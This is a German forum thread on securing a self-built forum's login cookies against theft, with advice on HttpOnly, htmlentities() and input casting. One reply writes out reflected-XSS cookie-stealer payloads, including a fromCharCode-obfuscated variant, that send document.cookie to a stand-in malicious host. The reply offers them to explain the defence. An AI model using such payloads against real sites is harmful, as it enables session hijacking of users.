• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Eine Logingeschützt Seite sicher machen

Status
Für weitere Antworten geschlossen.

Sn0opy

Neues Mitglied
Hiho,

ich muss ganz ehrlich zugeben, dass ich gerade zu faul bin, zu googlen und möchte mir das außerdem lieber genau erlären lassen.

Wie man mitlerweile mitbekommen hat, sitze ich an einem eigenen Forum. Dort ist es üblich, dass man Cookies, oder auch nur Sessions benutzt, um eben eingeloggt zu bleiben. Das Problem dabei besteht ja immer, dass man Cookies einfach klauen könnte.

Manche Foren haben dagegen ja schon einen Schutz eingebaut, der mir noch nicht ganz klar geworden ist. Nun möchte ich von euch wissen, wie man sich davor am besten schützt und die Seite sicher machen kann.


Direkt vorweg: SQL Injections sollten so weit auch schon ausgeschlossen sein. Ob da nun noch andere Dinge möglich sind, kann ich leider nicht sagen.
 
Werbung:
Der klau von Cookies ist, soweit es mir bekannt ist, nur mit JavaScript möglich.
Du kannst also
1. ausschließen, dass jemand JavaScript einschleust, z.b. mit striptags()
und vorallem
2. httponly benutzen.

Wenn du mit PHP ein Cookie setzt PHP: setcookie - Manual dann gibt es die Option HttpOnly. Diese Option verhindert das JavaScript zugriff auf das gesetzte Cookie bekommt

httponly
Wenn auf TRUE gesetzt, ist das Cookie nur via HTTP-Protokoll zugreifbar. Das bedeutet, dass das Cookie nicht mehr für Skriptsprachen wie JavaScript auslesbar/veränderbar ist. Diese Einstellung kann eine effektive Hilfe sein, um Identitaetsdiebstahl per XSS-Angriff zu vermindern (allerdings wird dies nicht von allen Browsern unterstützt). Hinzugefügt in PHP 5.2.0. TRUE oder FALSE
 
So wie es aussieht ist das aber nur für PHP 5.2 und das habe ich auf meinem Webserver leider noch nicht drauf. Was genauso funktioniert sind Cookiestealer, die z.B. durch das Hochladen von Avataren aktiviert werden und dem Opfer den Cookie klauen.

Ich denke, dass ich selbst es einfach nicht richtig verstanden hatte mit dem klauen von Cookies, dass es nun nicht unbdeingt die einfachste Variante ist.

Trotzalledem, gibt es sonst noch Dinge, die ich unbdeingt beachten sollte, um das Forum sicher zu machen?
 
Werbung:
also wenn es möglich ist einen cookieStealer per avatar zu uppen dann sag ich nur OMG!

Entweder du schaltest den Upload aus oder du prüfst die hochgeladenen Dateien gründlich auf inhalt, struktur, mime typ, dateiendung...

MySQL Injections hast ja schon gesagt. Ansonsten noch drauf achten das XXS nicht geht, also HTML rausfiltern, JS rausfiltern und so weiter.
 
Cookie stealer funktionieren so.

Du hast irgendwo auf deiner page ne Variable die es zulässt XSS einzuschleusen z.b. die id variable bei diesem link

[noparse]http://www.domain.tld/index.php?id=1[/noparse]

irgendwo in deinem quelltext hast du geschrieben echo $_GET['id'] weil du z.b. einen link zu irgendetwas machen willst.

Ein angreifer konntrolliert nun erst ob anführungszeichen escaped werden. wenn nicht schreibt er einfach

Code:
[noparse].../index.php?id=1"></a><sCrIpT>document.location='http://www.gefährliche-seite.tld/script.php?input='+document.cookie</sCrIpT><!--[/noparse]

dieses kann er jetzt z.b. ganz einfach an dich den admin schicken und du wirst so schnell auf die schadseite weitergeleitet und wieder zurückgeleitet das du nichtmal mitbekommst, dass die dein cookie geklaut wurde.

schwerer wird es, wenn anführungszeichen escaped werden dann muss man so vorgehen.

Code:
[noparse].../index.php?id=1"></a><sCrIpT>document.location='[/noparse][color=red][noparse]http://www.gefährliche-seite.tld/script.php?input=[/noparse][/color][noparse]'+document.cookie</sCrIpT><!--[/noparse]

der rote teil muss in ihre dezimal werte umgewandelt werden das währen in diesem beispiel dann volgende zahlen

Code:
104,116,116,112,58,47,47,119,119,119,46,103,101,102,228,104,114,108,105,99,104,101,45,115,101,105,116,101,46,116,108,100,47,115,99,114,105,112,116,46,112,104,112,63,105,110,112,117,116,61

daraus machen wir nun volgenden angriff code

Code:
[noparse].../index.php?id=1"></a><sCrIpT>var target=string.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,101,102,228,104,114,108,105,99,104,101,45,115,101,105,116,101,46,116,108,100,47,115,99,114,105,112,116,46,112,104,112,63,105,110,112,117,116,61); document.location=target+document.cookie</sCrIpT><!--[/noparse]

jetzt gehen wir wieder genau so vor wie sonst auch ^^

naja soll nur zur abwehr helfen und da reicht eigentlich schon htmlentities()

MFG
 
Was ist eigentlich der Unterschied zwischen htmlentities und htmlspecialchars?
 
Werbung:
Was ist eigentlich der Unterschied zwischen htmlentities und htmlspecialchars?

htmlentities() konvertiert ALLE HTML-Befehle/Tags um. htmlspecialchars() dagegen kümmert sich nur um bestimmte, wie du auf php.net sehen kannst.

@Slibbo: Danke für die kleine Einführung. Allerdings hab ich da schon vorgesorgt, dass möglichst keine XSS Injections möglich sind. Alle GETs müssen erst via SQL verarbeitet werden, bis eine Ausgabe kommt. Mit htmlentities() muss ich nochmal schauen, woe ich das noch einbauen sollte. Momentan wird es beim registrieren und dem schreiben von Threads / Posts verwendet. Problem ist halt immernoch, dass ich mich nicht sonderlich mit JS auskenne und nicht sagen kann, was sonst noch möglich wäre.
 
also wenn du eine id hast die du per get übergibts solltest du in PHP immer so damit arbeiten

PHP:
$id = (int)$_GET['id'];

und wenn du strings übergibts die du irgendwo wieder ausgeben musst so

PHP:
$var = htmlentities($_GET['variable'], ENT_QUOTES);
 
Status
Für weitere Antworten geschlossen.
Zurück
Oben